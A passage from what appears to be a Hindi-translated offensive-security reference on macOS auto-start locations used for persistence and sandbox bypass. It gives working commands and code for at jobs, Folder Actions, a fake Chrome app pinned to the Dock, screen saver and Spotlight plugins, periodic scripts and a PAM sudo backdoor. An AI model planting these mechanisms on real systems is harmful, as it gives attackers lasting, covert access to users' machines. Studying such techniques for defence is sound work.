सकता। **डिफ़ॉल्ट रूप से** वे **निष्क्रिय** होते हैं लेकिन **रूट** उपयोगकर्ता उन्हें सक्षम कर सकता है: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` यह 1 घंटे में एक फाइल बना देगा: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` नौकरी की कतार की जाँच `atq:` का उपयोग करके करें: ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` हम ऊपर दो निर्धारित कार्य देख सकते हैं। हम कार्य के विवरण को `at -c JOBNUMBER` का उपयोग करके प्रिंट कर सकते हैं। ```shell-session sh-3.2# at -c 26 #!/bin/sh # atrun uid=0 gid=0 # mail csaby 0 umask 22 SHELL=/bin/sh; export SHELL TERM=xterm-256color; export TERM USER=root; export USER SUDO_USER=csaby; export SUDO_USER SUDO_UID=501; export SUDO_UID SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK __CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING MAIL=/var/mail/root; export MAIL PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH PWD=/Users/csaby; export PWD SHLVL=1; export SHLVL SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND HOME=/var/root; export HOME LOGNAME=root; export LOGNAME LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { echo 'Execution directory inaccessible' >&2 exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` {% hint style="warning" %} यदि AT कार्य सक्षम नहीं हैं तो बनाए गए कार्य निष्पादित नहीं किए जाएंगे। {% endhint %} **job files** `/private/var/at/jobs/` पर पाए जा सकते हैं। ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 -rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ -rw------- 1 root wheel 0 Apr 26 23:17 .lockfile -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` फ़ाइल नाम में कतार, जॉब नंबर, और उस समय की जानकारी होती है जब उसे चलाया जाना है। उदाहरण के लिए `a0001a019bdcd2` को देखते हैं। * `a` - यह कतार है * `0001a` - जॉब नंबर हेक्स में, `0x1a = 26` * `019bdcd2` - समय हेक्स में। यह एपोक से गुजरे मिनटों को दर्शाता है। `0x019bdcd2` दशमलव में `26991826` है। अगर हम इसे 60 से गुणा करें तो हमें `1619509560` मिलता है, जो कि `GMT: 2021. अप्रैल 27., मंगलवार 7:46:00` है। अगर हम जॉब फ़ाइल को प्रिंट करते हैं, तो हम पाते हैं कि इसमें वही जानकारी होती है जो हमें `at -c` का उपयोग करके मिली थी। ### फोल्डर एक्शन्स Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * लेकिन आपको **`System Events`** से संपर्क करने के लिए फोल्डर एक्शन्स को कॉन्फ़िगर करने के लिए `osascript` को आर्ग्युमेंट्स के साथ कॉल करने में सक्षम होना चाहिए * TCC बायपास: [🟠](https://emojipedia.org/large-orange-circle) * इसमें बेसिक TCC परमिशन्स होती हैं जैसे कि Desktop, Documents और Downloads #### स्थान * **`/Library/Scripts/Folder Action Scripts`** * Root की आवश्यकता होती है * **ट्रिगर**: निर्दिष्ट फोल्डर तक पहुँच * **`~/Library/Scripts/Folder Action Scripts`** * **ट्रिगर**: निर्दिष्ट फोल्डर तक पहुँच #### विवरण और शोषण एक फोल्डर एक्शन स्क्रिप्ट तब निष्पादित होती है जब उससे जुड़े फोल्डर में आइटम्स जोड़े या हटाए जाते हैं, या जब उसकी विंडो खोली, बंद की, हिलाई, या रीसाइज़ की जाती है: * फाइंडर UI के माध्यम से फोल्डर खोलें * फोल्डर में एक फाइल जोड़ें (यह ड्रैग/ड्रॉप या टर्मिनल से शेल प्रॉम्प्ट के माध्यम से किया जा सकता है) * फोल्डर से एक फाइल हटाएं (यह ड्रैग/ड्रॉप या टर्मिनल से शेल प्रॉम्प्ट के माध्यम से किया जा सकता है) * UI के माध्यम से फोल्डर से बाहर नेविगेट करें इसे लागू करने के कुछ तरीके हैं: 1. [Automator](https://support.apple.com/guide/automator/welcome/mac) प्रोग्राम का उपयोग करके एक फोल्डर एक्शन वर्कफ़्लो फ़ाइल (.workflow) बनाएं और इसे सर्विस के रूप में इंस्टॉल करें। 2. किसी फोल्डर पर राइट-क्लिक करें, `Folder Actions Setup...`, `Run Service` चुनें, और मैन्युअली एक स्क्रिप्ट अटैच करें। 3. `System Events.app` को Apple Event संदेश भेजने के लिए OSAScript का उपयोग करें ताकि प्रोग्रामेटिक रूप से एक नया `Folder Action` क्वेरी और रजिस्टर किया जा सके। * [ ] `System Events.app` को Apple Event संदेश भेजने के लिए OSAScript का उपयोग करके पर्सिस्टेंस को लागू करने का यह तरीका है यह वह स्क्रिप्ट है जो निष्पादित की जाएगी: {% code title="source.js" %} ```applescript var app = Application.currentApplication(); app.includeStandardAdditions = true; app.doShellScript("touch /tmp/folderaction.txt"); app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` {% endcode %} इसे कंपाइल करने के लिए: `osacompile -l JavaScript -o folder.scpt source.js` फिर निम्नलिखित स्क्रिप्ट को निष्पादित करें ताकि Folder Actions सक्षम हो जाएं और पहले से कंपाइल की गई स्क्रिप्ट को फोल्डर **`/users/username/Desktop`** से जोड़ा जा सके: ```javascript var se = Application("System Events"); se.folderActionsEnabled = true; var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"}); var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"}); se.folderActions.push(fa); fa.scripts.push(myScript); ``` निष्पादित करें स्क्रिप्ट के साथ: `osascript -l JavaScript /Users/username/attach.scpt` * यह तरीका है इस स्थायित्व को GUI के माध्यम से लागू करने का: यह स्क्रिप्ट है जो निष्पादित की जाएगी: {% code title="source.js" %} ```applescript var app = Application.currentApplication(); app.includeStandardAdditions = true; app.doShellScript("touch /tmp/folderaction.txt"); app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` ``` {% endcode %} इसे संकलित करें: `osacompile -l JavaScript -o folder.scpt source.js` इसे यहाँ ले जाएँ: ``` ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` फिर, `Folder Actions Setup` ऐप खोलें, **आप जिस फोल्डर को देखना चाहते हैं** उसे चुनें और अपने मामले में **`folder.scpt`** का चयन करें (मेरे मामले में मैंने इसे output2.scp कहा):
अब, अगर आप **Finder** के साथ उस फोल्डर को खोलते हैं, आपकी स्क्रिप्ट निष्पादित हो जाएगी। यह कॉन्फ़िगरेशन **plist** में संग्रहीत किया गया था जो **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** में base64 प्रारूप में स्थित है। अब, चलिए बिना GUI एक्सेस के इस पर्सिस्टेंस को तैयार करने की कोशिश करते हैं: 1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** को `/tmp` में कॉपी करें ताकि इसका बैकअप ले सकें: * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` 2. **हटाएं** आपके द्वारा अभी सेट किए गए Folder Actions:
अब जब हमारे पास एक खाली वातावरण है 3. बैकअप फाइल को कॉपी करें: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` 4. इस कॉन्फ़िगरेशन को उपयोग करने के लिए Folder Actions Setup.app खोलें: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` {% hint style="danger" %} और यह मेरे लिए काम नहीं किया, लेकिन ये निर्देश लेख से हैं:( {% endhint %} ### Dock shortcuts लेख: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * लेकिन आपको सिस्टम के अंदर एक दुर्भावनापूर्ण एप्लिकेशन इंस्टॉल करनी होगी * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * `~/Library/Preferences/com.apple.dock.plist` * **ट्रिगर**: जब उपयोगकर्ता डॉक के अंदर एप्लिकेशन पर क्लिक करता है #### विवरण और शोषण डॉक में दिखाई देने वाले सभी एप्लिकेशन **`~/Library/Preferences/com.apple.dock.plist`** के अंदर निर्दिष्ट होते हैं। बस के साथ **एक एप्लिकेशन जोड़ना** संभव है: {% code overflow="wrap" %} ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' # Restart Dock killall Dock ``` {% endcode %} कुछ **सामाजिक इंजीनियरिंग** का उपयोग करके आप **उदाहरण के लिए Google Chrome का रूप धारण कर** डॉक के अंदर वास्तव में अपनी स्क्रिप्ट निष्पादित कर सकते हैं: ```bash #!/bin/sh # THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON) rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null # Create App structure mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources # Payload to execute echo '#!/bin/sh open /Applications/Google\ Chrome.app/ & touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome # Info.plist cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist CFBundleExecutable Google Chrome CFBundleIdentifier com.google.Chrome CFBundleName Google Chrome CFBundleVersion 1.0 CFBundleShortVersionString 1.0 CFBundleInfoDictionaryVersion 6.0 CFBundlePackageType APPL CFBundleIconFile app EOF # Copy icon from Google Chrome cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns # Add to Dock defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` ### रंग चयनकर्ता लेखन: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * एक बहुत विशिष्ट क्रिया की आवश्यकता होती है * आप दूसरे सैंडबॉक्स में समाप्त होंगे * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * `/Library/ColorPickers` * रूट की आवश्यकता है * ट्रिगर: रंग चयनकर्ता का उपयोग करें * `~/Library/ColorPickers` * ट्रिगर: रंग चयनकर्ता का उपयोग करें #### विवरण और एक्सप्लॉइट **रंग चयनकर्ता** बंडल को अपने कोड के साथ संकलित करें (आप [**इसे उदाहरण के लिए**](https://github.com/viktorstrate/color-picker-plus) उपयोग कर सकते हैं) और एक कंस्ट्रक्टर जोड़ें (जैसे कि [स्क्रीन सेवर अनुभाग](macos-auto-start-locations.md#screen-saver) में) और बंडल को `~/Library/ColorPickers` में कॉपी करें। फिर, जब रंग चयनकर्ता ट्रिगर होता है तो आपका कोड भी चालू होना चाहिए। ध्यान दें कि आपके लाइब्रेरी को लोड करने वाला बाइनरी एक **बहुत प्रतिबंधित सैंडबॉक्स** में होता है: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` {% code overflow="wrap" %} ```bash [Key] com.apple.security.temporary-exception.sbpl [Value] [Array] [String] (deny file-write* (home-subpath "/Library/Colors")) [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) [String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` ### फाइंडर सिंक प्लगइन्स **राइटअप**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ **राइटअप**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) * सैंडबॉक्स बायपास करने के लिए उपयोगी: **नहीं, क्योंकि आपको अपना खुद का ऐप निष्पादित करना होगा** * TCC बायपास: ??? #### स्थान * एक विशिष्ट ऐप #### विवरण और एक्सप्लॉइट एक ऐप्लिकेशन उदाहरण जिसमें फाइंडर सिंक एक्सटेंशन होता है [**यहाँ पाया जा सकता है**](https://github.com/D00MFist/InSync). ऐप्लिकेशन्स में `फाइंडर सिंक एक्सटेंशन्स` हो सकते हैं। यह एक्सटेंशन उस ऐप्लिकेशन के अंदर जाएगा जो निष्पादित किया जाएगा। इसके अलावा, एक्सटेंशन को अपना कोड निष्पादित करने के लिए यह **साइन किया जाना चाहिए** किसी वैध Apple डेवलपर प्रमाणपत्र के साथ, इसे **सैंडबॉक्स्ड** होना चाहिए (हालांकि ढीले अपवाद जोड़े जा सकते हैं) और इसे कुछ इस तरह से पंजीकृत किया जाना चाहिए: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` ### स्क्रीन सेवर लेख: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ लेख: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आप एक सामान्य एप्लिकेशन सैंडबॉक्स में समाप्त होंगे * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * `/System/Library/Screen Savers` * रूट की आवश्यकता है * **ट्रिगर**: स्क्रीन सेवर का चयन करें * `/Library/Screen Savers` * रूट की आवश्यकता है * **ट्रिगर**: स्क्रीन सेवर का चयन करें * `~/Library/Screen Savers` * **ट्रिगर**: स्क्रीन सेवर का चयन करें
#### विवरण और एक्सप्लॉइट Xcode में एक नया प्रोजेक्ट बनाएं और एक नया **स्क्रीन सेवर** जेनरेट करने के लिए टेम्प्लेट का चयन करें। फिर, उसमें अपना कोड जोड़ें, उदाहरण के लिए निम्नलिखित कोड लॉग्स जेनरेट करने के लिए। **बिल्ड** करें, और `.saver` बंडल को **`~/Library/Screen Savers`** में कॉपी करें। फिर, स्क्रीन सेवर GUI खोलें और बस उस पर क्लिक करें, इससे बहुत सारे लॉग्स जेनरेट होने चाहिए: {% code overflow="wrap" %} ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' Timestamp (process)[PID] 2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **) 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` {% endcode %} {% hint style="danger" %} ध्यान दें कि बाइनरी के entitlements के अंदर जो इस कोड को लोड करता है (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) आपको **`com.apple.security.app-sandbox`** मिलेगा जिसका मतलब है कि आप **सामान्य एप्लिकेशन सैंडबॉक्स के अंदर** होंगे। {% endhint %} Saver code: ```objectivec // // ScreenSaverExampleView.m // ScreenSaverExample // // Created by Carlos Polop on 27/9/23. // #import "ScreenSaverExampleView.h" @implementation ScreenSaverExampleView - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); self = [super initWithFrame:frame isPreview:isPreview]; if (self) { [self setAnimationTimeInterval:1/30.0]; } return self; } - (void)startAnimation { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super startAnimation]; } - (void)stopAnimation { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super stopAnimation]; } - (void)drawRect:(NSRect)rect { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super drawRect:rect]; } - (void)animateOneFrame { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return; } - (BOOL)hasConfigureSheet { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return NO; } - (NSWindow*)configureSheet { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` ### Spotlight प्लगइन्स लेखन: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आप एक एप्लिकेशन सैंडबॉक्स में समाप्त होंगे * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) * सैंडबॉक्स बहुत सीमित लगता है #### स्थान * `~/Library/Spotlight/` * **ट्रिगर**: एक नई फाइल जिसका एक्सटेंशन स्पॉटलाइट प्लगइन द्वारा प्रबंधित होता है, बनाई गई है। * `/Library/Spotlight/` * **ट्रिगर**: एक नई फाइल जिसका एक्सटेंशन स्पॉटलाइट प्लगइन द्वारा प्रबंधित होता है, बनाई गई है। * रूट की आवश्यकता है * `/System/Library/Spotlight/` * **ट्रिगर**: एक नई फाइल जिसका एक्सटेंशन स्पॉटलाइट प्लगइन द्वारा प्रबंधित होता है, बनाई गई है। * रूट की आवश्यकता है * `Some.app/Contents/Library/Spotlight/` * **ट्रिगर**: एक नई फाइल जिसका एक्सटेंशन स्पॉटलाइट प्लगइन द्वारा प्रबंधित होता है, बनाई गई है। * नया एप्लिकेशन की आवश्यकता है #### विवरण और शोषण Spotlight macOS की बिल्ट-इन सर्च सुविधा है, जिसे उपयोगकर्ताओं को उनके कंप्यूटर पर डेटा तक **त्वरित और व्यापक पहुंच प्रदान करने के लिए डिजाइन किया गया है**।\ इस त्वरित सर्च क्षमता को सुविधाजनक बनाने के लिए, Spotlight एक **प्रोप्राइटरी डेटाबेस** बनाए रखता है और अधिकांश फाइलों को **पार्स करके** एक इंडेक्स बनाता है, जिससे फाइल नामों और उनकी सामग्री दोनों के माध्यम से त्वरित खोज संभव होती है। Spotlight की अंतर्निहित प्रक्रिया में 'mds' नामक एक केंद्रीय प्रक्रिया शामिल है, जिसका अर्थ है **'मेटाडेटा सर्वर'।** यह प्रक्रिया पूरी Spotlight सेवा का संचालन करती है। इसके अतिरिक्त, कई 'mdworker' डेमन्स होते हैं जो विभिन्न प्रकार के रखरखाव कार्य करते हैं, जैसे कि विभिन्न फाइल प्रकारों की इंडेक्सिंग (`ps -ef | grep mdworker`)। ये कार्य Spotlight इम्पोर्टर प्लगइन्स, या **".mdimporter बंडल्स"** के माध्यम से संभव होते हैं, जो Spotlight को विविध प्रकार के फाइल प्रारूपों में सामग्री को समझने और इंडेक्स करने की अनुमति देते हैं। प्लगइन्स या **`.mdimporter`** बंडल्स पहले बताए गए स्थानों में स्थित होते हैं और यदि कोई नया बंडल प्रकट होता है तो यह मिनटों में लोड हो जाता है (किसी भी सेवा को पुनः आरंभ करने की आवश्यकता नहीं होती)। इन बंडल्स को यह इंगित करना होता है कि वे किस **फाइल प्रकार और एक्सटेंशन को प्रबंधित कर सकते हैं**, इस तरह, Spotlight उनका उपयोग करेगा जब इंगित किए गए एक्सटेंशन के साथ एक नई फाइल बनाई जाती है। सभी `mdimporters` को ढूंढना संभव है जो लोड किए गए हैं चलाकर: ```bash mdimport -L Paths: id(501) ( "/System/Library/Spotlight/iWork.mdimporter", "/System/Library/Spotlight/iPhoto.mdimporter", "/System/Library/Spotlight/PDF.mdimporter", [...] ``` उदाहरण के लिए **/Library/Spotlight/iBooksAuthor.mdimporter** का उपयोग इन प्रकार की फाइलों (एक्सटेंशन `.iba` और `.book` सहित अन्य) को पार्स करने के लिए किया जाता है: ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ 0 => { "CFBundleTypeName" => "iBooks Author Book" "CFBundleTypeRole" => "MDImporter" "LSItemContentTypes" => [ 0 => "com.apple.ibooksauthor.book" 1 => "com.apple.ibooksauthor.pkgbook" 2 => "com.apple.ibooksauthor.template" 3 => "com.apple.ibooksauthor.pkgtemplate" ] "LSTypeIsPackage" => 0 } ] [...] => { "UTTypeConformsTo" => [ 0 => "public.data" 1 => "public.composite-content" ] "UTTypeDescription" => "iBooks Author Book" "UTTypeIdentifier" => "com.apple.ibooksauthor.book" "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" "UTTypeTagSpecification" => { "public.filename-extension" => [ 0 => "iba" 1 => "book" ] } } [...] ``` {% hint style="danger" %} यदि आप अन्य `mdimporter` की Plist की जांच करते हैं, तो आपको **`UTTypeConformsTo`** प्रविष्टि नहीं मिल सकती है। ऐसा इसलिए है क्योंकि वह एक निर्मित _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) है और इसे एक्सटेंशन्स को निर्दिष्ट करने की आवश्यकता नहीं है। इसके अलावा, सिस्टम डिफ़ॉल्ट प्लगइन्स हमेशा प्राथमिकता लेते हैं, इसलिए एक हमलावर केवल उन फाइलों तक ही पहुंच सकता है जिन्हें अन्यथा Apple के अपने `mdimporters` द्वारा इंडेक्स नहीं किया गया है। {% endhint %} अपना खुद का इम्पोर्टर बनाने के लिए आप इस प्रोजेक्ट से शुरुआत कर सकते हैं: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) और फिर नाम, **`CFBundleDocumentTypes`** बदलें और **`UTImportedTypeDeclarations`** जोड़ें ताकि यह आपके द्वारा समर्थित एक्सटेंशन का समर्थन करे और उन्हें **`schema.xml`** में प्रतिबिंबित करें।\ फिर **`GetMetadataForFile`** फ़ंक्शन के कोड को **बदलें** ताकि जब भी प्रोसेस किए गए एक्सटेंशन वाली फाइल बनाई जाए, तो आपका पेलोड निष्पादित हो। अंत में **अपने नए `.mdimporter` को बिल्ड करें और पिछले स्थानों में से एक में कॉपी करें** और आप जब भी यह लोड होता है तो **लॉग्स की निगरानी करके** या **`mdimport -L.`** चेक करके देख सकते हैं। ### ~~Preference Pane~~ {% hint style="danger" %} ऐसा लगता नहीं है कि यह अब काम कर रहा है। {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) * सैंडबॉक्स बायपास के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * इसके लिए एक विशिष्ट उपयोगकर्ता क्रिया की आवश्यकता होती है * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * **`/System/Library/PreferencePanes`** * **`/Library/PreferencePanes`** * **`~/Library/PreferencePanes`** #### विवरण ऐसा लगता नहीं है कि यह अब काम कर रहा है। ## Root Sandbox Bypass {% hint style="success" %} यहां आपको **सैंडबॉक्स बायपास** के लिए उपयोगी प्रारंभ स्थान मिलेंगे जो आपको किसी फाइल में लिखकर कुछ निष्पादित करने की अनुमति देते हैं, जिसके लिए **रूट** होना और/या अन्य **अजीब शर्तों** की आवश्यकता होती है। {% endhint %} ### Periodic Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) * सैंडबॉक्स बायपास के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आपको रूट होना चाहिए * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` * रूट की आवश्यकता है * **ट्रिगर**: समय आने पर * `/etc/daily.local`, `/etc/weekly.local` या `/etc/monthly.local` * रूट की आवश्यकता है * **ट्रिगर**: समय आने पर #### विवरण और शोषण पीरियोडिक स्क्रिप्ट्स (**`/etc/periodic`**) `/System/Library/LaunchDaemons/com.apple.periodic*` में कॉन्फ़िगर किए गए **लॉन्च डेमन्स** के कारण निष्पादित होते हैं। ध्यान दें कि `/etc/periodic/` में संग्रहीत स्क्रिप्ट्स **फाइल के मालिक के रूप में** **निष्पादित** की जाती हैं, इसलिए यह संभावित विशेषाधिकार वृद्धि के लिए काम नहीं करेगा। {% code overflow="wrap" %} ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* -rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist -rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist -rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist # The scripts located in their locations ls -lR /etc/periodic total 0 drwxr-xr-x 11 root wheel 352 May 13 00:29 daily drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly /etc/periodic/daily: total 72 -rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps -rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs [...] /etc/periodic/monthly: total 24 -rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax -rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting -rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local /etc/periodic/weekly: total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` ``` अन्य आवधिक स्क्रिप्ट हैं जो **`/etc/defaults/periodic.conf`** में दर्शाए गए हैं जो निष्पादित किए जाएंगे: ``` ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` यदि आप `/etc/daily.local`, `/etc/weekly.local` या `/etc/monthly.local` में से किसी भी फाइल को लिखने में सफल होते हैं, तो वह **जल्दी या बाद में निष्पादित हो जाएगी**। {% hint style="warning" %} ध्यान दें कि पीरियोडिक स्क्रिप्ट **स्क्रिप्ट के मालिक के रूप में निष्पादित की जाएगी**। इसलिए यदि एक सामान्य उपयोगकर्ता स्क्रिप्ट का मालिक है, तो यह उस उपयोगकर्ता के रूप में निष्पादित होगी (यह विशेषाधिकार वृद्धि हमलों को रोक सकता है)। {% endhint %} ### PAM लेखन: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ लेखन: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आपको रूट होना चाहिए * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * हमेशा रूट की आवश्यकता होती है #### विवरण और शोषण चूंकि PAM अधिक **स्थायित्व** और मैलवेयर पर केंद्रित है जो macOS के अंदर आसान निष्पादन पर नहीं, इसलिए यह ब्लॉग विस्तृत व्याख्या प्रदान नहीं करेगा, **इस तकनीक को बेहतर समझने के लिए लेखन पढ़ें**। PAM मॉड्यूल्स की जांच करें: ```bash ls -l /etc/pam.d ``` एक पर्सिस्टेंस/प्रिविलेज एस्केलेशन तकनीक जो PAM का दुरुपयोग करती है, वह /etc/pam.d/sudo मॉड्यूल में शुरुआत में निम्नलिखित पंक्ति जोड़कर उतनी ही आसान है: ```bash auth sufficient pam_permit.so ``` यह कुछ **इस तरह का** दिखाई देगा: ```bash # sudo: auth account password session auth sufficient pam_permit.so auth include sudo_local auth sufficient pam_smartcard.so auth required pam_opendirectory.so account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` और इसलिए कोई भी **`sudo` का उपयोग करने की कोशिश काम करेगी**। {% hint style="danger" %} ध्यान दें कि यह निर्देशिका TCC द्वारा सुरक्षित है इसलिए यह बहुत संभावना है कि उपयोगकर्ता को पहुँच के लिए एक संकेत मिलेगा। {% endhint %} ### Authorization Plugins लेख: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ लेख: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आपको रूट होना चाहिए और अतिरिक्त कॉन्फ़िगरेशन करने की आवश्यकता है * TCC बायपास: ??? #### स्थान * `/Library/Security/SecurityAgentPlugins/` * रूट आवश्यक * प्लगइन का उपयोग करने के लिए प्राधिकरण डेटाबेस को कॉन्फ़िगर करना भी आवश्यक है #### विवरण और शोषण आप एक प्राधिकरण प्लगइन बना सकते हैं जो उपयोगकर्ता के लॉग-इन करने पर निष्ठा बनाए रखने के लिए निष्पादित होगा। इन प्लगइन्स में से एक कैसे बनाया जाए, इसके बारे में अधिक जानकारी के लिए पिछले लेखों को 